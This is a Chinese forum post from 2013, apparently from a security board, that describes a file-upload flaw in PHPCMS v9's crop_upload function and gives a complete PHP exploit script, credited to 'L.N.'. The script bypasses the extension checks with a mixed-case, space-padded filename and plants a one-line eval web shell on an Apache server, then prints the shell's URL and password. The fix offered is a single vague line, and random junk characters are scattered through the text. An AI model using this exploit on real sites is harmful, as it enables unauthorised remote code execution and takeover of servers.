找回密码
 立即注册
查看: 2754|回复: 0
打印 上一主题 下一主题

PHPCMS v9 Getshell

[复制链接]
跳转到指定楼层
楼主
发表于 2013-3-7 13:06:41 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
漏洞类型: 文件上传导致任意代码执行
5 K4 C4 @! n3 e4 s  |/ S
* s8 i0 I! m4 G' e简要描述:
5 @; L/ P* c5 W5 {( G2 S1 D' q1 |  w7 e1 a
phpcms v9 getshell (apache)+ C& ?8 Z; x) j3 b9 a2 E7 a
详细说明:7 ]+ o) Q( {: w- g

1 {7 Y" a" z" [/ ?漏洞文件:phpcms\modules\attachment\attachments.php
. ^7 I1 y& v% b! X. o: c7 L  `
6 H4 B. G: C1 ~6 E4 b, Opublic function crop_upload() {  (isset($GLOBALS["HTTP_RAW_POST_DATA"])) {  $pic = $GLOBALS["HTTP_RAW_POST_DATA"];  if (isset($_GET['width']) && !empty($_GET['width'])) {  $width = intval($_GET['width']);  }  if (isset($_GET['height']) && !empty($_GET['height'])) {  $height = intval($_GET['height']);  }  if (isset($_GET['file']) && !empty($_GET['file'])) {  $_GET['file'] = str_replace(';','',$_GET['file']);//过滤了分号  if(is_image($_GET['file'])== false || strpos($_GET['file'],'.php')!==false) exit();//is_image()检测是个关键  if (strpos($_GET['file'], pc_base::load_config('system', 'upload_url'))!==false) {  $file = $_GET['file'];  $basenamebasename = basename($file);//获取带有后缀的文件名  if (strpos($basename, 'thumb_')!==false) {  $file_arr = explode('_', $basename);  $basename = array_pop($file_arr);  }  $new_file = 'thumb_'.$width.'_'.$height.'_'.$basename;  } else {  pc_base::load_sys_class('attachment','',0);  $module = trim($_GET['module']);  $catid = intval($_GET['catid']);  $siteid = $this->get_siteid();  $attachment = new attachment($module, $catid, $siteid);  $uploadedfile['filename'] = basename($_GET['file']);  $uploadedfile['fileext'] = fileext($_GET['file']);  if (in_array($uploadedfile['fileext'], array('jpg', 'gif', 'jpeg', 'png', 'bmp'))) {  $uploadedfile['isimage'] = 1;  }  $file_path = $this->upload_path.date('Y/md/');  pc_base::load_sys_func('dir');  dir_create($file_path);  $new_file = date('Ymdhis').rand(100, 999).'.'.$uploadedfile['fileext'];  $uploadedfile['filepath'] = date('Y/md/').$new_file;  $aid = $attachment->add($uploadedfile);  }  $filepath = date('Y/md/');  file_put_contents($this->upload_path.$filepath.$new_file, $pic);//文件名可控、$pic可控  } else {  return false;  }  echo pc_base::load_config('system', 'upload_url').$filepath.$new_file;  exit;  }  }
+ ?0 F! @5 B# Z$ f( n, ]后缀检测:phpcms\modules\attachment\functions\global.func.php
& f( h* E+ R' @3 T; X7 E$ [* ^7 Y3 Q; f! ^

; k( F7 [: M% D; L& G7 N+ A( `
. N2 Y# m, i4 G" mfunction is_image($file) {    $ext_arr = array('jpg','gif','png','bmp','jpeg','tiff');    $ext = fileext($file);关键地方    return in_array($ext,$ext_arr) ? $ext_arr :false;   }  
2 G4 Y. s1 S. d0 C; b# Y5 w! ?7 ^* M1 k, r: U& d& i
关键函数:3 S* v2 i0 ^7 D

" q9 b$ @5 F( f" C: G 4 H0 e- ]: n6 Z. G/ \: a8 X$ y2 C& P

% _' I1 C0 k* Mfunction fileext($filename) {  return strtolower(trim(substr(strrchr($filename, '.'), 1, 10))); }  
( f; k/ }7 M, A4 y' ]  J& M' M$ j8 c2 I/ K
  Fileext函数是对文件后缀名的提取。
; R, l8 e1 V! q( B+ R2 Y根据此函数我们如果上传文件名为ddd.Php.jpg%20%20%20%20%20%20%20Php
: U, A0 \  v$ i! K. c5 a9 r: \经过此函数提取到的后缀还是jpg,因此正在is_image()函数中后缀检测被绕过了。
. S  v) `- f: R2 G我们回到public function crop_upload() 函数中
: X7 T* H# @5 V3 ?0 W% M3 }if(is_image($_GET['file'])== false || strpos($_GET['file'],'.php')!==false) exit();
: L' ~( A; v! ]3 @( R8 |* x; r在经过了is_image的判断之后又来了个.php的判断,在此程序员使用的是strpos函数
7 w# e' h1 m* ~, G这个函数是对大小写敏感的函数我们使用.Php就可以直接绕过了。* y; R- I8 M1 R% B
经过上边的两层的过滤我们的ddd.Php.jpg%20%20%20%20%20%20%20Php后缀依然有效。
4 |) i+ Q% Q! w最后$basename变量的值就为ddd.Php.jpg%20%20%20%20%20%20%20Php 然后使用file_put_contents函数写入到了指定目录。; }/ H0 p! y; _9 B
看见ddd.Php.jpg%20%20%20%20%20%20%20Php这个后缀,大家应该明白了,它用在apache搭建的服务器上可以被解析。
0 I- W; z7 Q; F% @8 i+ e/ s: _% ~漏洞证明:' @( Q- C6 t! @) x
1 ~5 S. @* a( \1 R( t
exp:1 B  n) q8 Z3 G2 Q0 T

9 H* I# \8 i& ]9 ]& t" B# g' X<?php9 [9 p' }9 K) F0 h
error_reporting(E_ERROR);
* G% E0 k9 ?+ Q/ }/ Qset_time_limit(0);
6 h6 a- Q  }/ m, E( _9 S$pass="ln";
- g$ E" q$ Z' h3 x7 F: D6 q7 zprint_r('" v' @, n: `& g- H  t3 W) w
+---------------------------------------------------------------------------+3 g8 U1 z4 Q3 g" H5 l+ U
PHPCms V9 GETSHELL 0DAY % Y& `' |+ Q/ Y! t$ Y+ K
code by L.N.
5 [0 a7 F6 [1 _3 D! G+ Y7 d
% Y& \) K7 N. ]) u1 Qapache 适用(利用的apache的解析漏洞) // 云安全 www.yunsec.net! h/ I, ], T. a1 M, ]
+---------------------------------------------------------------------------+$ v; _1 n2 M5 j% m& i
');$ [: {8 a+ H: w. ?  Z3 r: R! I
if ($argc < 2) {+ R4 ]$ K% d0 w
print_r(', Q8 u% i# O4 P8 D- Z: t. w
+---------------------------------------------------------------------------+* D! w% z8 U7 ~6 S; l: w2 R
Usage: php '.$argv[0].' url path
1 l- w% s% r. G# r: @, P/ q! E( B8 x+ ~# i( @, v1 v
Example:
0 C8 Y( G$ [. h8 O1.php '.$argv[0].' lanu.sinaapp.com  y9 _) W; O7 [
2.php '.$argv[0].' lanu.sinaapp.com /phpcms
6 E/ O% U* Q7 @: k% S6 _( @7 |+---------------------------------------------------------------------------+9 @% T# ~( o! ?$ N  M2 w' E: b
');$ P4 e. q# O* n5 d- F
exit;, u6 y' P) W8 x1 T% G
}
& z7 R2 T, ~4 A6 w4 B) U& \
& v1 V0 W( I7 l% I  K$url = $argv[1];
/ t9 \( G4 l8 A0 Q7 Q- Q! n+ w- P$path = $argv[2];' p; J7 p8 i- v/ e. ?- X7 u. _
$phpshell = '<?php @eval($_POST[\''.$pass.'\']);?>';
. Y) u  M. J/ G0 {% ?$file = '1.thumb_.Php.JPG%20%20%20%20%20%20%20Php';% w: m" Z1 I9 _7 z5 U
if($ret=Create_dir($url,$path))+ K( h5 o/ g( f
{4 G  C) v: W: f& c+ V
//echo $ret;7 P2 O! r& `8 ]
$pattern = "|Server:[^,]+?|U";
; j' o/ ~+ ?7 R: ^preg_match_all($pattern, $ret, $matches);
0 E$ s* \: ~. X" G% T$ W; N+ Hif($matches[0][0])
" d3 S3 L0 n' f7 S& M8 N{
% S" N6 d7 z; ]4 y* lif(strpos($matches[0][0],'Apache') == false)9 T3 m' E  X1 _( q2 R& E
{
9 r* J8 z$ ]: }2 _/ h; Qecho "\n亲!此网站不是apache的网站。\n";exit;$ E' R+ Q% |, d# h
}
* i7 w! f8 ?+ F8 E8 o( w}! t, {+ @/ l% g: ~! \! I. N" G6 T
$ret = GetShell($url,$phpshell,$path,$file);
- G# u. k: e/ }: V$ p" w$pattern = "|http:\/\/[^,]+?\.,?|U";4 b) r9 u; `) c" J6 t' G
preg_match_all($pattern, $ret, $matches);
5 ]8 M& j* E" P9 S6 m0 sif($matches[0][0])* E* Z& C% O* X& J; {: v
{
" m) D) x0 h* D' j, k1 L- N. P: U: fecho "\n".'密码为: '.$pass."\n";
0 n; f) K( P1 ~, D4 m1 Lecho "\r\nurl地址: ".$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit;$ O! U) R/ |: v9 a- L  ~" E4 ^
}
5 q* p. d. M, X* k% E/ O/ {* Felse9 Y: k; P! q; @  p+ _$ `  I+ i* p
{6 U8 K& h% h: V7 [) G0 I: m
$pattern = "|\/uploadfile\/[^,]+?\.,?|U";
2 T4 S" q: S3 a7 ?7 R- d+ upreg_match_all($pattern, $ret, $matches);# o& E' c( z9 ^: U4 j0 b
if($matches[0][0])" @1 g9 h7 D3 s; H4 y. q8 L
{: \) M/ z. }) O: S& `$ U
echo "\n".'密码为: '.$pass."\n";
' n6 t* ]" t; secho "\r\nurl地址:".'http://'.$url.$path.$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit;
/ C9 e/ Q! I/ `1 }! O$ w! W9 r6 D7 m}* d, W5 x% B  F9 \; ~  ]1 h8 O9 [
else
  o6 \$ {* K0 N: w: |, Z" }{' Z# x' o0 [, r
echo "\r\n没得到!\n";exit;
* U+ N8 Z* Q' q}  v( H( c  U4 Y; Y2 {
}
  ^% A- c9 B- u& Q4 p+ \, F}% k* P% F/ q  E/ d5 u3 t8 U
7 ~# H) s! ^$ D9 k( h5 p
function GetShell($url,$shell,$path,$js)
$ i( ?% f! }4 p- @& a6 C{
6 \% w  r. i- {9 t% B* o$content =$shell;
1 Y7 a5 E( f0 E3 ^: A$data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://".$url.$path."/uploadfile/".$js." HTTP/1.1\r\n";
- a- x( H, V  h4 j$data .= "Host: ".$url."\r\n";) H, |# W3 q# X1 O7 E; W4 g
$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";
( G- m5 j0 W/ T- R6 h1 ^$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
4 j3 H8 H5 ~. V, X. s& X6 H$data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";4 J0 b; M  T1 M! l; s2 p7 }1 |
$data .= "Connection: close\r\n";
1 q0 B: a" H: S# I! p- f! D$data .= "Content-Length: ".strlen($content)."\r\n\r\n";- J8 s6 p/ P2 a4 X
$data .= $content."\r\n";! o- q$ `' s( x3 t, C1 _* i4 b
$ock=fsockopen($url,80);$ j0 a; c* o4 |0 W, @
if (!$ock)$ e7 O$ V- y3 y' p
{
6 O" n, I' w3 X: }) decho "\n"."此网站没有回应,检测url是否输入正确"."\n";exit;
! F1 U5 G7 N5 ]4 ^}
8 l  N% V: ~5 k7 D8 ]' o2 z* n) ]else
1 I/ i0 X) ^5 \. K% r0 P+ e{
3 g5 t8 N+ O& j9 ffwrite($ock,$data);: \+ m' F& g; K" w# Z- O: P
$resp = '';* I' p( K% |; ~& R3 Z8 {% ?$ s
while (!feof($ock)). X* g8 \) A% b0 [& N( O. L
{7 ]/ a4 ^! y3 _2 t8 M6 G! \$ d  q
$resp.=fread($ock, 1024);9 W3 M9 E) P! w: ]* k8 R. T/ b
}( j$ e3 C9 G. e0 y9 M
return $resp;
" c; F1 Q8 C  Y, E}( U! F; c3 a( K7 E  L' f) C
}+ j: ^8 ]9 R1 K

3 j% m: W( Z+ a" X4 H/ T2 ]  q* Efunction Create_dir($url,$path='')
# ^. C# c. E- N- _6 j3 ?$ G{
2 s' Y( T6 {7 O0 x" l$content ='I love you';
. n: S. V( u  g$data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://lanu.sinaapp.com/1.jpg HTTP/1.1\r\n";
- }4 q) O1 O, |# s% p$data .= "Host: ".$url."\r\n";& K# @, a+ E4 R
$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";+ W8 z* b! E' M; Z- Y
$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
) W$ O1 d) m1 {, O5 f8 o$data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";
% i9 l3 v- m- i$data .= "Connection: close\r\n";$ m% M; n& M& B/ u7 b' o7 J
$data .= "Content-Length: ".strlen($content)."\r\n\r\n";
; S" ~( H$ Q) y! u1 V$data .= $content."\r\n";
7 S* P4 d/ N( c9 T9 @& F8 X$ock=fsockopen($url,80);
( I8 t8 A; O7 p, y9 jif (!$ock)
* \- y! V1 b& P) ^5 p% D{
& \- q! X* l2 \1 }echo "\n"."此网站没有回应,检测url是否输入正确"."\n";exit;& Y+ q+ g+ p/ @: w3 h
}, S) m' C' q. S9 `- ~% k  ~
fwrite($ock,$data);: K- V4 m' M  c! Q/ q# V/ j
$resp = '';
* K9 _7 h: z: [% Uwhile (!feof($ock))
7 Z, I+ {  N4 C0 P! N) s) t' A& ~3 }{* o3 `. ]& X+ R! j; S2 I
$resp.=fread($ock, 1024);; O. V2 F3 j1 O" I% p
}+ P& t; n/ t2 ~! H
return $resp;" p' w8 L/ ]( E7 P4 K' }+ a
}+ Y4 P0 ?4 o% Z+ s0 e4 }
?> , r+ I8 U/ ]5 X6 H# A/ }6 f

2 x) E. O' E* D. ~1 d! \  o+ t修复方案:
5 y" P% D* R' K" f& x5 t; F* l3 `4 e! W# B
过滤过滤再过滤+ a( b- }8 [+ @1 Z% q
4 q, I3 \1 v# s
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表